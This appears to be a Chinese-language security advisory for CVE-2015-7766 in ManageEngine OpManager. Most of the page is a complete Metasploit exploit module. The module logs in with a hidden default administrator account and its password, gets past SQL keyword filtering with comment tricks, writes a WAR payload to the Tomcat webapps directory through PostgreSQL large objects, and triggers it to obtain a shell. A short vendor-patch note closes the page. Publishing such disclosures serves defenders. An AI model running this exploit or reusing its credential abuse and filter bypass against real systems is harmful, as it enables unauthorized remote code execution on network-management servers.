ZOHO ManageEngine OpManager安全限制绕过漏洞(CVE-2015-7766)发布日期:2015-09-11
更新日期:2015-10-10
受影响系统:zoho ManageEngine OpManager <= 11.5
描述:
CVE(CAN) ID: CVE-2015-7766
ZOHO ManageEngine OpManager是网络性能管理软件。
ZOHO ManageEngine OpManager 11.6, 11.5及更早版本,PGSQL:SubmitQuery.do存在安全漏洞,远程管理员通过api/json/admin/SubmitQuery查询内的注释,利用此漏洞可绕过sql查询限制。
<*来源:xistence (xistence@0x90.nl)
链接:http://seclists.org/fulldisclosure/2015/Sep/66
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class Metasploit3 < Msf::Exploit::Remote
# It removes large object in database, shoudn"t be a problem, but just in case....
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
"Name" => "ManageEngine OpManager Remote Code Execution",
"Description" => %q{
This module exploits a default credential vulnerability in ManageEngine OpManager, where a
default hidden account "IntegrationUser" with administrator privileges exists. The account
has a default password of "plugin" which can not be reset through the user interface. By
log-in and abusing the default administrator"s SQL query functionality, it"s possible to
write a WAR payload to disk and trigger an automatic deployment of this payload. This
module has been tested successfully on OpManager v11.5 and v11.6 for Windows.
},
"License" => MSF_LICENSE,
"Author" =>
[
"xistence <xistence[at]0x90.nl>" # Discovery, Metasploit module
],
"References" =>
[
[ "EDB", "38174" ],
],
"Platform" => ["java"],
"Arch" => ARCH_JAVA,
"Targets" =>
[
["ManageEngine OpManager v11.6", {}]
],
"Privileged" => false,
"DisclosureDate" => "Sep 14 2015",
"DefaultTarget" => 0))
end
def uri
target_uri.path
end
def check
# Check version
vprint_status("#{peer} - Trying to detect ManageEngine OpManager")
res = send_request_cgi({
"method" => "GET",
"uri" => normalize_uri(uri, "LoginPage.do")
})
unless res && res.code == 200
return Exploit::CheckCode::Safe
end
if res.body =~ /OpManager.*v.([0-9]+.[0-9]+)</span>/
version = $1
if Gem::Version.new(version) <= Gem::Version.new("11.6")
return Exploit::CheckCode::Appears
else
# Patch unknown
return Exploit::CheckCode::Detected
end
elsif res.body =~ /OpManager/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def sql_query( key, query )
res = send_request_cgi({
"method" => "POST",
"uri" => normalize_uri(uri, "api", "json", "admin", "SubmitQuery"),
"vars_get" => { "apiKey" => key },
"vars_post" => { "query" => query }
})
unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Query was not succesful!")
end
res
end
def exploit
print_status("#{peer} - Access login page")
res = send_request_cgi({
"method" => "POST",
"uri" => normalize_uri(uri, "jsp", "Login.do"),
"vars_post" => {
"domainName" => "NULL",
"authType" => "localUserLogin",
"userName" => "IntegrationUser", # Hidden user
"password" => "plugin" # Password of hidden user
}
})
if res && res.code == 302
redirect = URI(res.headers["Location"]).to_s.gsub(/#//, "")
print_status("#{peer} - Location is [ #{redirect} ]")
else
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
end
# Follow redirection process
print_status("#{peer} - Following redirection")
res = send_request_cgi({
"uri" => redirect,
"method" => "GET"
})
if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/
api_key = $1
print_status("#{peer} - Retrieved API key [ #{api_key} ]")
else
fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
end
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
war_payload_base64 = Rex::Text.encode_base64(war_payload).gsub(/
/, "")
print_status("#{peer} - Executing SQL queries")
# Remove large object in database, just in case it exists from previous exploit attempts
sql = "SELECT lo_unlink(-1)"
sql_query(api_key, sql)
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
sql = "SELECT lo_create(-1)"
result = sql_query(api_key, sql)
if result.body =~ /lo_create":([0-9]+)}/
lo_id = $1
else
fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
end
# Insert WAR payload into the pg_largeobject table. We have to use /**/ to bypass OpManager"sa checks for INSERT/UPDATE/DELETE, etc.
sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{lo_id}, 0, DECODE("#{war_payload_base64}", "base64"))"
sql_query(api_key, sql)
# Export our large object id data into a WAR file
sql = "SELECT lo_export(#{lo_id}, "..//..//tomcat//webapps//#{app_base}.war");"
sql_query(api_key, sql)
# Remove our large object in the database
sql = "SELECT lo_unlink(-1)"
sql_query(api_key, sql)
register_file_for_cleanup("tomcat//webapps//#{app_base}.war")
register_file_for_cleanup("tomcat//webapps//#{app_base}")
10.times do
select(nil, nil, nil, 2)
# Now make a request to trigger the newly deployed war
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
res = send_request_cgi(
{
"uri" => normalize_uri(target_uri.path, app_base, "#{Rex::Text.rand_text_alpha(rand(8) + 8)}.jsp"),
"method" => "GET"
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
end
end
建议:
厂商补丁:
zoho
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
https://support.zoho.com/portal/manageengine/helpcenter/articles/pgsql-submitquery-do-vulnerability